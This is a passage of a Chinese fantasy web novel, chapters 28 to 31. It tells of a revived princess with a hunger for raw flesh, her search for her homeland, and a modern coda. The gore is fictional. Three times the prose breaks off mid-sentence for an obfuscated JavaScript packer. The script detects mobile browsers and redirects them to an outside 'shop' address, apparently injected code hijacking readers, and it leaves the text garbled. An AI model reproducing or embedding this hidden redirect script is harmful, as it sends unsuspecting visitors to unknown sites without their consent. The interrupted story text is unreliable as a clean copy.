等了片刻,西壬不禁出声问:“主人,您怎么不动了呀?”她以为是拉姆不知接下来该如何,便又说,“就当……就当是疗伤那样?” 拉姆深深吸口气,长舒而出的时候双肩也随之落下:“一生万物,万物归一;我心即世界,世界……” 西壬歪头看他,并未催促。 “由我心。” 随着他缓缓吐出最后三个字,亡灵好似那袅袅青烟,被地上的每一根白骨吸进去。 过了小会儿,白骨喀拉坐起来,牙齿咯咯咯地在打架,反倒比之前还诡异。 “它怎么没长肉?”西壬疑惑地问拉姆。 “你先躺下。”拉姆指着地面对白骨说。 白骨还算听话,挣扎几下便老老实实躺回去。拉姆抓起地上的一把泥,拍在白骨上。西壬想帮忙,却被拉姆阻止,于是干脆又脱了鞋子与布包跳进黄河里抓鱼玩。 拉姆用泥土给白骨塑肉身,熟练之中又混着偶尔的小失误,不过他很快就能补救回来,总体上还算是顺利。 直到捏完最后一根手指。 带着腥味的土瞬间干涸、龟裂,一只青灰色的手从干土之下抬起来,揭开脸上的土块。她睁着美丽而空洞的眼睛,直勾勾盯着天上的云,不再有任何动作。 忽然,一张眉目深邃唇若红樱的精致清俊的脸出现在她面前,占据了全部视线。 “感觉怎么样?”拉姆俯下头问,微蹙的眉头让他看上去有一丝不安,“能站起来吗?” 她的手顺势抚上拉姆的脸,一遍一遍仔细看着,像是在重新认识这个世界。随后她的目光移到自己的手上,将手翻来覆去地看。 “不一样。”她说话依然很慢,“和你的颜色,不一样。” “也许……”拉姆挤出一丝笑,安慰她,也安慰自己,“也许过段时间就变得一样了。” 她再次将自己的手与拉姆的脸做对比:“颜色真奇怪……” 拉姆退回身,扶她坐起来:“你还记得自己是谁吗?” 身体上的土壳落了一些下来,滚到地面又碎了些。她呆呆看着身旁的拉姆,很久才开口:“我是谁?” 拉姆轻轻摇头:“我也不知道你是谁。你还记得其他什么事吗?”他试探着问道,“比方说,你的哥哥?” “哥哥……”她重复呢喃着,然后说,“我有个哥哥,可我想不起他是谁了。” 她胸前一块掉落的土块吸引了拉姆的目光,土块之下是属于女子的身体,青灰色的,像死人一般的身体。他脱下自己的长衫为她披上,又问:“你今后有什么打算?我和西壬准备一路游历,下个目的地是吠陀,如果你没地方去,要不和我们一起走?” 她低头拉扯着身上的长衫,好似不知道这是什么:“我想回家。” 嘴里叼着鱼的西壬在水面上露出脑袋,双手撑住河岸边往上一窜,便轻轻松松爬上来。她将鱼朝地上一吐,开心说道:“她真的活啦?!主人好厉害呀,您果然是神!” 鱼还未死,在泥土地上不住翻腾,它只是被西壬的牙齿咬破皮肉,掉了一层鱼鳞。浅浅的血渗出来,其实并不明显,就连西壬那如犬猫一般灵敏的鼻子都几乎嗅不出血的气味。可死而复生的她却回过头紧紧盯住地上的鱼。 西壬看看她的脸,又低头看看地上的鱼。拉姆同样偏过脑袋,顺着她的视线落目在鱼身上。 “你想吃?”他问,“可这是活的,生鱼。” 她像是没有听见拉姆的话,盯着那条鱼的眼睛里透着极度的渴望,犹如荒野上仅剩的一匹狼,饿死之际无意遇见受伤的兔子,又怎会放弃。她朝鱼爬过去,身上的长衫不知不觉滑脱在地。 拉姆与西壬眼睁睁看着她抓起垂死挣扎的鱼,张大嘴,将鱼头塞入口中,喀地用力一咬。血顺着她的嘴角往下流,一滴一滴落在胸前。她恣意啃噬着,直到咽下最后一口,才满意地舔舔嘴唇,露出意犹未尽的表情。 死一般的皮肤竟渐渐恢复红润的气色,总算是如常人般模样了。 “西壬。”拉姆安静开口,“再去抓几条鱼给她吃。” “哦。”少女撑着河岸的双臂一松,沉入黄河。 西壬又抓来三条肥美的鱼丢上岸。 她饿极了,抓住鱼塞入口中,一下子咬掉半个鱼身。不算多的鲜血滋得她半张脸都是,她目露贪婪,大口吃完鱼肉还不忘舔干净手上的血。 西壬也学着拉姆脱掉上衣,拧干水使劲甩甩,然后穿上:“你想起什么来没有?” 她摇摇头。身上的碎土已落去许多,显露出白皙细腻的肌肤。如今的她并不在意自己没有遮掩的身体被别人——尤其是男人看见,惬意地回味着生肉的味道。 “饱了。” “你还是什么都想不起来么?”西壬凑到她面前问,“名字呢?” 她伸舌头舔了一口西壬的脸颊,尝尝味道。 西壬推开她:“我不是鱼,不能吃!” 她转头看向拉姆,西壬吓得一激灵,张开双臂挡在她面前:“也不能吃我的主人!”说完,少女回头问,“主人,我们是不是还得给她取个名字?” “名字?”她脸上满是困惑。 “就是……”西壬忽然不知如何解释,“哎呀,名字就是名字!” “这里是商方之地,暂且称呼她殷女,兴许今后某一日,她能想起自己真正的名字。即使想不起来,不论时间再长,也好歹能记得自己的出生。” 西壬不知想到了什么,忽然变得哀伤起来:“主人,就算以后我死了,你也要记得我哦。” “就算想忘,都忘不了。”拉姆指指自己的脑袋,“至今为止我遇见过的所有生命,全活在这里。” 西壬咧嘴一笑,跑过来抱住拉姆:“说好了,您以后也要记得西壬。” 拉姆定睛瞧着西壬脖子上的狼牙项链,笑着说:“你们留下的东西,都够我挖个藏宝洞了。” “那我这串狼牙您必须放在最最显眼的位置。”西壬摸着脖子上的狼牙,脸上很是自豪,“这是我阿爹打回来的狼,我阿娘给我串的。” 从少女的头顶上垂落一缕青丝,恰好遮住双眼,她抬头看去,便见得殷女从背后弯腰俯身直勾勾盯着她的狼牙项链。 殷女伸手捏住最大的那颗牙,不管不顾往上扯,勒得西壬被迫伸长脖子。 西壬疼,从殷女手中抢过狼牙赶紧躲开,将项链紧紧护在掌心:“你做什么抢我项链!” “项链。”殷女重复了一遍西壬的话。她身上的土块依然掉光,露出光洁的胴体。 西壬立刻捡地上的衣衫紧紧裹住她:“项链是我的,不会给你。” 殷女低头看看自己的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318610|197901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身子,乖乖穿好衣衫,问:“我也有阿爹阿娘吗?”衣衫敞开着,她也不知道在意,“他们是谁?” 西壬一边替她系绳结,一边说:“不知道。” “我也不认识你的父母,不能告诉你答案。不过……”他环顾黄河两岸的景色,继续说,“你丧命在商方与孟涂交接处,过黄河再往西南走,还有个鹿方。兴许,你的族亲就在这三方土地上。” 殷女思忖,问道:“若我去这三个地方,便能寻回我的族亲和记忆?” 拉姆实在不想欺瞒她:“或许能,或许不能。除非你能想起自己的名字,哪怕是姓也好。” “主人,她没有裤子,怎么办好?”西壬问道,“您也不能再脱给她了。” 这件的衣衫本就盖过他的臀部,穿在殷女身上便更加长了。不过,这样的穿着仍显得不大妥当。 “我去找。”西壬跳起来,说着便跑走了,半晌后蹦蹦跳跳跑回来,手里举着不知上哪儿寻来的衣裳朝他们挥舞,“衣裳我找着啦!” 殷女指着西壬怀中的衣裳:“给我的?” 虽然是奴隶的衣裳,但殷女对此并没有排斥,从西壬手中接过上衣与裤子拎在手中看。 “你连怎么穿衣裳都不记得了?” “不记得。” 这本是一句玩笑话,谁知殷女竟真的连这个都忘了。西壬张嘴怔愣片刻,才回神帮她穿好衣服,把从殷女身上脱下来的衣衫还给拉姆。 只是这是一套男子的衣裳,穿在她身上难免显得格外松垮。穿好上衣的拉姆走过去,替她将衣袖和裤腿挽到一个合适的位置,后退两步说:“我和西壬可以陪你去寻族亲。” 殷女木讷地点点头:“好。” 时间充裕,过于充裕,他们全然不着急,犹似散步般慢慢踱,到一座城歇数日,找不到线索才又继续往下个城村走。 “过了一百年,就算还有亲族也相互不认识了吧。”西壬看向旁边一脸麻木的殷女,“更何况,她还失忆了。这要如何找。” 他们坐在酒肆里用膳—— 拉姆盯着殷女沉思片刻,说:“殷女死的时候还很年轻,而且,她的骨头上满是箭伤,但却没有任何形变……至少足以说明,殷女过去并非女奴,更不曾劳作。兴许是世卿世禄家中的女儿。” 西壬说:“世卿世禄……听起来就不简单,那殷女是大家族的人?既然这样,她为什么死在了黄河里?是遇上劫匪了吗?” “不是劫匪。劫匪求的是财。”拉姆继续说,“殷女的箭伤都在后面,被追杀——不对,是遇上了将她当做猎物的人。” “从箭支的数量看,肯定不止一个人。” 拉姆在桌上放下用金子换来的铜贝,站起身:“就从世卿世禄家里问起。”他走到柜台处向老板打听,“掌柜,你知道有哪些世卿世禄是从百年前起就存在的吗?” 掌柜是头一次见金头发的人,不禁愣愣盯着拉姆忘记回话。 拉姆冲她微微一笑,她的脸当即就红了三分。 “我们在寻亲。”拉姆又说。 “哦。”掌柜回过神来,脸更加红了,“你要找百年大家族?有的有的,不少呢,我写下来给你。” “有劳。” 两手抓着吃剩下的饼,西壬站在拉姆身旁边啃边说:“万一殷女真是某个家族出身,可家族中的人不记得有她这个人,怎么办?” 拉姆扭头看了看百无聊赖的殷女:“大族有留下家谱的习惯,即使不记得,家谱上也有记载。” 29.她的佳肴 即便打听到世卿世禄的居处找上门,却连大门也进不去,更别说打听百年前的情况或是查看家谱。他们一筹莫展,接连吃了五次闭门羹,手里拿着的名单宛如废纸。 “就这么找过去,那些世卿世禄的宗族根本不会见我们。”拉姆歪着脑袋若有所思,“得想个办法。” 西壬坐在大石头上,晃着脚丫子:“干脆直接闯进去,抓两个人来问。” 拉姆双眼一亮:“是个好主意。” 入夜,三人便翻墙闯入其中一家宗族的大宅。 当家的多尹被吵醒披着衣衫走出房门来到后院时,看见的,便是家中后辈以及奴仆衣衫不整的被两女一男逼得狼狈坐在地上的画面。 见到父亲出现,地上的几名年轻人想起身靠过去,被西壬拿手臂大的肉干一打,又坐了回去,只是嘴上不停喊着:“父尹!” “这是怎么回事?!”多尹怒气冲冲地质问,“你们是什么人,为何出现在我家?!” “白天我们来拜访过,可是被你家的家奴拒之门外,不得已,只好晚上闯进来了。”拉姆笑着说,脸上没有半分歉意。原本就是这家人不对,若没有傲慢地将他们拒之门外,他们也不必如此大费周章了。 殷女走到多尹面前,问道:“你是我的亲属吗?” 多尹怒目瞪着她,却又有些疑惑:“我不是你的亲属,立即离开我家!” 拉姆补充道:“不是你如今的亲属,而是百年前的亲属。” “百年?”多尹冷笑一声,“莫说百年,即便是两百年前,我也不曾有过你们这般低贱的亲属。” “那你知不知道百年前,有哪家丢了女儿?”拉姆顿了顿,用不确定的语气继续说,“地点在孟涂与商方的交界处。” 西壬将肉干往跟前一名男子的脸上戳去:“你最好能想起来。” 男子哭喊着求救:“父尹救我!他们会妖法,根本不是寻常人!” 多尹在心中权衡片刻,才深吸口气尽量平和语气说:“我从未听父尹提起过家中曾丢失女子。不过,你们提到孟涂,倒是让我想起一件事来。百年前,敛王曾向周边方国索要王女做人牲。孟涂来的王女被人劫走,于是让侍女冒充王女身份来到殷都完成祭祀。被劫走的王女自此下落不明。据孟涂的说法,是被劫去了鹿方。”他抬眼看向殷女,“你要找的亲属,或许在孟涂。” “孟涂……”殷女轻声呢喃,“孟涂……我要去孟涂。” 孟涂之行本就在计划的范围内,是找完商方后就要去的目的地。 “他有可能是在说谎骗我们呢。”西壬用肉干指着多尹,“说谎之人,要被挖心。” “你们若不信,可以去问问其他人。这件事人尽皆知,并非秘密。” 拉姆走到西壬身旁,按下她的肉干,对多尹说道:“谢谢你给了我们这么重要的线索。”他拿出一把金子放在地上,“殷女,我们走。” 殷女忽然说道:“饿了。” “什么?” “我饿了。” 西壬惊诧地说:“来之前你才吃了两只鸟!” 殷女舔舔发干的嘴唇,看向多尹的目光中带着直白而浓烈的欲望。多尹被盯得后背发凉,竟在对峙中败下阵来,下意识后退半步。 “东厨里应该还有些吃的。”多尹尽量保持镇定,藏起自己的胆怯。 殷女往前逼近:“我要吃肉。” 多尹移开目光,对地上的奴仆吩咐道:“快去准备肉。” 听见有肉吃,西壬立即收好自己的宝贝肉干,擦了擦口水:“那就吃了再去孟涂。” 似乎真被殷女的眼神吓到,多尹为三人准备了一顿丰盛的晚餐,是平日里在酒肆中吃不到的美味,西壬吃得格外开心。 殷女对西壬喜爱的食物提不起半分兴趣,尤其是那些从地里长出来的,无论生熟,在她眼中都和路边被踩过的杂草无异,涩口,难吃。她还是喜欢有血的东西,血越多,越是美味。想到那种滋味,殷女不禁舔了舔嘴唇。 她放下铜箸,一脸兴致怏怏。 “怎么不吃了?”百忙中,西壬抽空问了一句。 这些吃食不是她想要的。殷女皱皱眉:“我想吃生肉,带血。”她看向拉姆,又说了一遍,“生肉,带血。” 天已是蒙蒙微光,窗外传来鸟儿雀跃的欢叫,听在殷女的耳中却是宴会开始的献酢。 “拉姆,我饿了。”殷女用发光的双目看着拉姆,唇角勾着贪婪的笑意,“我想吃……肉。” 拉姆定定看着殷女,半晌才回话:“好。” 殷女的心情变得格外开朗,托腮靠在案几上笑眼看着西壬,耐心等她吃饱。 离开多尹家时,天已经大亮,不知从哪里来的军队将他们三人层层围堵在大门前,要捉拿,要问罪。 “给我拿下。”说话之人正是宅子的主人——多尹,“一个也不许放过。” 本以为很快就能享用还带有温度的鲜肉,眼下却成了热锅浇冷水,滋——锅冷了,火却很大。殷女的笑容逐渐失去兴奋,转而变为阴冷的寒冰:“我是不是吃不到肉了?” 西壬叉腰看着多尹,质问:“老头,你什么意思?” 多伊无视西壬的话,对军队吩咐:“无法活捉,便都杀了。” “杀了?!主人,他居然——”一阵迅风吹过西壬的脸颊,她只来得及看见殷女飞奔而去的残影。 在拉姆与西壬反应过来之前,殷女便已经冲到多尹面前,咬下了他脸上的一块肉,等不及咀嚼整个囫囵吞下。 是多尹的惨叫声唤醒了怔愣的拉姆,他放出无形的蝴蝶牵制众人,一手拉住西壬一手抓紧殷女,踏出星河飞流的一步强行将二人带离殷都城数里之外,才停下。 “主人……” “我饿了。”殷女的语气中充满不耐烦,“我要吃肉,肉!为什么阻止我?”她被欲望吞噬、蚕食,理智早已不复存在,“我要吃肉!” 西壬呆呆看着她:“主人,她是不是不大对劲?怎么……” 怎么像头饥饿的野兽? “躲起来。”拉姆将西壬护在身后,表情尤为严肃。 “嗯、嗯。”西壬忍不住打了个寒颤,没由来地感受到一丝害怕,看殷女的眼神中已然带上了畏惧。她像兔子一样往远处的草堆窜去。 像是突然发现猎物的鹰,殷女的目光紧随西壬,然后下一刻,她屈膝原地跃起数米高,朝西壬跑开的方向追去。从拉姆背后长出无数如鱼线般白色的触须朝伸向女飞,在半空缠住她的脚踝阻止她捕猎西壬。 西壬躲进远处草堆中,只露出半张脸看着拉姆与殷女。 触须将殷女从空中拽下来。落地的殷女立刻放弃已经逃走的“猎物”,转而选择眼前的拉姆,她顺着触须拽扯的力张嘴扑向拉姆一口咬在他肩上。拉姆痛得皱起眉头,随即抬手一掌拍在殷女腹部。 吞下的肉因为这一掌又吐出来,触须在她的身体被击飞的刹那间松开。她狠狠摔在地上。拉姆握住被咬掉一块肉的肩膀,片刻后再松开手,那里已经没有丁点受伤的痕迹了。 殷女从地上爬起来,抬手擦掉唇边的唾液,挑起眼皮看着拉姆,嘴角勾起妖异的弧度:“我要吃肉……我要喝血……” 说着,她再次冲过来,扑向拉姆,动作愈发狠厉。拉姆难以躲闪,身上被殷女抓掉好几块肉,就连他的触须也被殷女徒手扯断。他其实不想伤害殷女,希望能用最平和的手段制服她,可如今看来,他不得不拿出手段了。 拉姆闭了闭眼睛,再次睁开时,眼眸中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323155|197901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也多了几分凛然:“殷女,看着我。” 殷女全身的血液宛若大火烧灼,沸腾不已,纵然拉姆没有说这句话,她也将其当做猎物,目光紧随不移。忽然间,她脑中像有股电流不断通过,随之而来的是阵阵眩晕与恍惚,仿佛灵识在这一刻被抽离漂浮于头顶,漠然平静地旁观着自己的身体。 拉姆的身体摇晃几下才稳住,他当下便用触须紧紧缠住殷女的身体以及嘴巴,弯腰捡起一颗称手的小石头,抬头朝天上张望,看准一只鸟,把它打了下来。 被捆住的殷女闻见血腥味,空洞的双目终于略有凝神。 “唔唔!唔唔唔!”殷女挣扎,想说话,却被封住了嘴。 “想吃吗?”拉姆问道。 殷女点头,早已是一副迫不及待的模样。 “我不反对你吃人,但在其他食物充足的情况下你不能吃人。”拉姆用石子又打下一只鸟,“如果你能答应我这件事,我就放开你,让你去吃。” 手指头大小的石头比离弦之箭还快许多,一下子穿过飞鸟的翅膀。落地的时候鸟还没死,扑腾着不断挣扎,想再次重新回到天空。它这番动作勾引着殷女,令她浑身血液沸腾。 殷女脸上一喜,用力点头:“唔唔!” 拉姆的触须放开了她的嘴:“怎么样?” “我答应!我答应!” 拉姆这才彻底收回触须,解除对殷女的限制。 殷女嗖的一下朝着鸟坠落的地方跑去,蹲在地上大口啃食。 骨头在她嘴里喀拉作响,是如美味的具象化。她边吃边拔出嘴里的羽毛往地上扔,全然不顾自己此刻在别人眼中是何种形象。 早已见惯各种大浪卷天的拉姆并不觉得殷女的行为古怪,在许多许多年以前,“人”就是口嚼生肉喝鲜血的,直到“火”的出现,才渐渐改变这个习惯。 “主人。”西壬探出脑袋,“我可以过去了吗?” 拉姆招招手:“过来吧。” 西壬跑到拉姆面前,目光始终落在殷女蹲在地面啃鸟的背影上:“将才,殷女是怎么了?” 吃完第一只,殷女朝第二只跑去。她的步子快如疾风,短短数个眨眼间便冲到它的面前。她弯腰拎住鸟的翅膀将它提起来,张开殷红的嘴,接住缓缓降下的鲜活食物。 咔。 挣扎的鸟儿在被咬断身体的瞬间,变软了。 吐掉嘴里的羽毛,殷女一遍又一遍地舔着手上的鲜血,直到最后,仅有指缝中还剩下一丝红色。她还是没吃饱,转过身对拉姆露出的索取般的笑脸再次充满妖异。 “我还要。” 这回,拉姆索性多捡起几块石头,转身朝山中走去。殷女知道这是要去给她找吃的,便笑盈盈跟上。 林中野物多,个头大都比水里天上的大些,松鼠野兔这样的小可怜殷女没兴趣,两只如鹰一般的眼睛在树林间搜寻体型更大的猎物。 她饥肠辘辘、喉咙干涩,唯有鲜血与生肉,方能抚她焦灼。 “打它!”殷女趴在拉姆后背上,越过他的肩死死盯住前面出现的鹿,嘴角已然兴奋裂开,“我想吃。” 拉姆歪歪脑袋,瞄准野鹿弹指射出小石头,正中它腹部。受惊的野鹿猛地跳起来,往前跑了一段路才倒下。殷女双手按住拉姆的肩轻身一跃,拔地而起数米之高,在将要落下时又借树枝垫脚,没几下便追到野鹿跟前。 只是野鹿体型大,她张了几次嘴都无从下口,于是稍稍一思索,并拢五指直直插进那野鹿的脖子。 鲜血几乎是喷涌着流出来的。殷女抽出手后立刻俯身用嘴咬住伤口疯狂吸食,犹似荒漠缝雨,总算抚平干涸的龟裂。她缓缓直起上半身后仰着脑袋,长长吐出一口腥甜的气息,脸上浮起极致满足的微笑,迷离而缥缈。 30.千年孤独 最后这头野鹿被西壬拿出用石头敲削而成的短刀给庖解,内脏归于殷女,肩腿归于她。西壬钻木点燃一堆火,将鹿肉熏制一番后拿草绳穿起来,挂在脖子上——这些肉足够她饱餐一段时间了。 “如果殷女不跟我们走,她今后肚子饿了怎么办?”西壬拍拍斜挂在身上的口粮,“万一她饿极了又捕不到吃的,肯定会去吃人的。主人,要不你教她掷石头吧。” 似乎的确是这么个理。 “不可以吃人。”西壬正色对殷女说,“那是一条生命。” 在她的家乡,用活人祭天一事同样不罕见,甚至比商方的做法还要残忍。活生生挖心掏脑,只为祈雨。祭品的来源十分简单明了,祭司的手往人群中随意一指,下一刻便是此人的死期。西壬不喜欢这样的杀戮。 殷女指着西壬脖子上挂着的鹿肉:“它也是生命。” 西壬抓住挂在脖子上的肉:“不一样,这不是没有意义的杀戮,是食物,是神的馈赠。” “‘人’也是食物。”殷女的眼神真诚。在她看来,身边出现的东西只分两种——好吃的,难吃的。 “‘人’的确是野兽的食物,但不是人的食物。” 殷女脸上露出一抹妖艳的笑:“可是,拉姆准许我找不到食物的时候就吃人。” “主人。”西壬抓住拉姆的胳膊,厉声道,“教殷女捕猎!” 为了不让殷女随便吃人,在前往孟涂的路上,拉姆将所有捕猎技巧倾囊相授。 殷女十分聪慧,再加上远超常人的轻盈身姿,即使扔出的石子没有命中野兽要害,她也能在片刻之间追上,徒手给出致命一击。个头小的,或用手抓用嘴叼,个头大的她便直接骑在背上,双腿紧紧夹住它的身体对准脖子狠狠一咬。 她发现没有什么比亲自捕获猎物再吃下肚更令她满足幸福的事了。 “主人。”西壬扭头看着身旁的拉姆,“我是不是不该让你复活殷女?是我让她变成这样的。当时,如果多尝试几次送她去亡者世界,说不定……主人,生命究竟是什么?” 拉姆抬手揉揉西壬的脑袋:“除了人类,所有吃肉的生命都像殷女这样。你觉得,它们都该死吗?只要她杀生是为了果脯,而非取乐,她就没有错。” 吃饱喝足的殷女躺在吃剩下的野猪尸体旁半眯着眼,懒懒的,连抬手擦去嘴唇上的血都嫌累。 拉姆走到她身旁蹲下来,用手指抹去她嘴边的血,问:“野兽和人肉,哪个更好吃?” 殷女脑袋未动,只移动眼珠睇着拉姆:“一样好吃。不过,我更喜欢鹿血。”随后,她的目光落向西壬,绵软地抬了抬手,“剩下的肉是你的了。” 西壬藏不住笑意,从布包里拿出石刀切下几块肉:“我也吃不了这么多的。” “再往前十里路就是孟涂的国界了。”拉姆对殷女说,“如今你已经学会自己捕猎,我们也不必再在路上耽误时间了。” 等到西壬生火、烤肉、吃饱,又处理好剩下的肉,拉姆一手抓住她们一人踏出星河飞流,眨眼间就走出商方地界来到孟涂之境。 与商方相比,孟涂的地界实在不算大,多走两步就能看见远处的城。 “孟……涂……”殷女念着城门上的两个字。 无论是那两个字也好,还是那座城也好,殷女都感到十分熟悉与怀念。她想,自己曾经应该是去过那个地方的,甚至,很喜欢那个地方。 仿佛无形之中有股温柔的风,牵起她的手,将她往孟涂城引。 “殷女。”拉姆与西壬跟过去。 殷女痴痴望着前方的城门,不知什么时候,眼泪就接二连三往下掉:“我记得这里。” “你想起来啦?!” 即将走到城门时,殷女突然停下步子,仰头望着门上的字。 她全都想起来了。 西壬绕到她面前:“殷女,你怎么哭了?” “这里……是我的家。可又……不是我的家了。” “那个老头说的都是真的?你真的是孟涂的王女?那快进去呀,你要找的亲人就在里面呢。”西壬握住殷女的手,拉着她往城门走,“王宫在哪里?” 殷女抬手指向王城北面最宏伟的建筑:“在那里。” 再次站在宫门前,她不再是孟涂的子英,只是一个“不知哪里来的庶众”,被侍卫用武器拦住不许她再往前半步。 西壬把腰一叉,挺直后背说:“知道你们拦的是谁吗,她可是……”她话音一顿,小声问殷女,“以前在宫里,他们都是怎么称呼你的?” 殷女的视线越过面前的两名侍卫,直愣愣地看向开启的宫门内,片刻后,她才收回视线,转过身:“走吧,不必进去了。” “为什么呀?”西壬追着她问。 即使过去百年,孟涂城与当初她离家时没什么变化,只是那宫里头的,已然没有她熟悉的人了。 哥哥、父王,都只剩下了墓。 站在哥哥墓前的殷女默默流着眼泪:“我以为,永远都回不到这里了。” 西壬轻轻扯了扯殷女的衣袖:“殷女,不如,你跟我们走吧。” 殷女无力地勾起唇角:“走?去哪儿?” “和我们一起去吠陀。” 她摇了摇头:“这里才是我的故乡。你们不是问我叫什么名字吗,我叫孟叔英女,是涂阿王之女。” “可……你留下来也只是一个人呀。” 拉姆向她伸出手:“孟英,跟我们走吧。” 殷女深吸一口气,看向哥哥的王陵:“好不容易才回到故土,又怎么舍得再离去。” 沉默片刻,拉姆垂下希望她能握住的手:“那你要好好保重。” 西壬扑上去抱住她:“要是过得不开心,就来找我们。” 殷女没有任何回应。 拉姆与西壬走后,她便守在父兄陵外,日复一日,年复一年,彷如长在墓边的古黄连,凄苦幽幽。 只是近来不知怎的,原本鲜有人烟的地方总会不时冒出几个人来,捧着肉与美酒跪地嗑拜。 “求神女天佑,吾儿熬过此劫。”女人嘴里不断祈念,“神女天佑,神女天佑。” 殷女从哥哥的墓山后走出来,一只手搭着埋着亲人的墓顶,对眼前人有些好奇:“你口中的神女,是我?” 女人倏地抬头看着殷女,脸上满是震惊:“神女显灵了……神女显灵了……”眼泪不受控制往下落,她心中却只有万分欣喜。 殷女走到她面前优雅地蹲下身,双臂交错搭在腿上,侧头看了看青铜甗里装着的熟肉:“这是给我的?” “是、是!” “没有箸?” 女人一愣,顿时不胜惶恐,她未想过神女竟然当真愿意现身聆听自己的祈愿。 “我这便回去拿!”她说罢要起身跑回家。 殷女伸手勾住她的腰带:“不用了,下次记得带。” 女人直愣愣的,再次跪下:“谢神女……” 殷女朝她温柔一笑,在女人紧张忐忑的目光中提起青铜甗里的肉,咬了一口。 “这是什么肉?”她问。 “是、是大雁。” “我喜欢鹿肉。”她说完舔了舔手指。 女人缓缓点头:“鹿肉……”她回过神来,立即伏低身体,放在地面上的双手不住颤抖,“我一定将神女的意思转告所有人!” ———— 在寻常生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17328573|197901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 物眼中,黄河不曾有过太大的变化。可阴女并不寻常,她能看见滞留在这条母河水中的信息——数亿数万年间的信息,汇成一条绚烂光河,足够称得上一句世间绮丽。 光河之下,有一只泛着青青幽光的巨大球茧。它透亮而混沌,像冰,像琥珀,像水晶,既脆弱,又坚硬,好似河中盛开的睡莲,于洪流中沉寂。 忽然,球茧上裂开一条细微的缝隙。 这是要出来了。 阴女脸上露出一丝微笑,却在茧房炸开的瞬间转为震诧。千钧一发之际,她迅速后撤径直浮上水面,继而挺身一跃,便是凌空后翻跳上岸,这才未被波及。 等在车旁的周书云听见动静,熄灭手机屏幕,从车里拿出一张叠放整齐的浴巾走过来,披在阴女肩上:“拉姆先生和赵先生呢?” 阴女脸色微沉:“出了些差错,暂时是上不来了。” 正在为阴女擦头发的周书云动作一顿,也沉下神情:“有人捣乱?需要我下去帮忙吗?” “若是连馆主都搞不定,世上就没人能搞定了。”她仰头看一眼晨曦,摊开手,“手机。” 周书云立刻从裤兜里拿出手机放在阴女掌心上:“还需要什么?” 阴女拢好披在肩上的浴巾,指纹解开锁屏:“纸和笔。” “好,我去车里拿。” 将用手机搜索出来的内容简略成大概,然后写在纸上。周书云写好一张便交给阴女,由她扔进黄河。周书云是老师,还是教历史的,平时板书写得多,速度自然要快一些。 他写的钢笔字非常漂亮,秀气又灵动,新中国成立后还拿过奖。不教学生的时候,他大都写的繁体,这是出于年少时的习惯,他一直保持至今。 最后一张写满文字的纸被放进黄河,阴女蹲在岸边看着它慢慢沉下去,撩起被风吹乱的头发挂到耳后。周书云盖上笔帽,将钢笔别进胸口的口袋:“怎么样了?” 此时他们眼中的世界并非万家灯火未醒的朦胧天灰,花草树木都发着光,虽比不上太阳,却也有着足够的明亮。而多亏此刻沉静不喧嚣,才让这五光十色更显美丽。透过幽蓝炫紫的河水,已然隐约可见茧房的模样。先前被扔入河中的纸在茧房周围漂浮着,有意无意靠近,可在接触到茧房的刹那又被猛地推远,被拒绝得非常彻底。 “这是……范围扩大了?” 阴女站起身,脱下浴巾递给周书云:“看来还是得下去一趟。” 周书云接过浴巾便开始整理,一边整理一边说:“要我帮忙吗?” “不了。”阴女回头看向周书云,轻轻一笑,转身跳进黄河。 找回四散而开的那些纸,阴女游到茧房外。她看不见里面的情况,更无法随意进出,将手中信息送进去的方法只有两个:其一,想办法打开茧房;其二,她想办法送进去。 信息库一旦关闭形成茧房,很难再从外面打开,相比之下,还是她送进去或许更容易。 阴女随手挥开面前浮游的拟态,脱下一只高跟鞋拿在手里,以尖细的鞋跟为武器,狠狠朝茧房砸去——就是要简单粗暴。 对准同一处地方狠狠敲砸数次,总算破开小小的一个孔,刚好,鞋跟卡入孔中严丝合缝,进不了,也拔不出。阴女被气笑了,甩甩虎口发麻的手,再回眸时,眼中便已浮出狠厉。她并拢五指,任由指甲长长变黑,待其硬如钢铁时,猛起攻势直朝茧房刺去。 看似并不坚硬的茧房外壳被她刺穿,同时也刮掉她一层皮,还她五根骨裂的手指。虽然阴女是僵尸,受伤不会痛,但依旧是有些影响的。她紧抿嘴唇死咬牙,抵抗着茧房自动封闭的力量艰难张开手指。 然后将那些写了黄河数千年故事的纸张塞进去。 31.金色的雨 抽回手的刹那间,破损的茧房就已自行复原了。 她带着受伤的右手游上岸:“书云。”阴女甩了甩头发,伸出没有受伤的那只手,“拉我一把,我受伤了。” 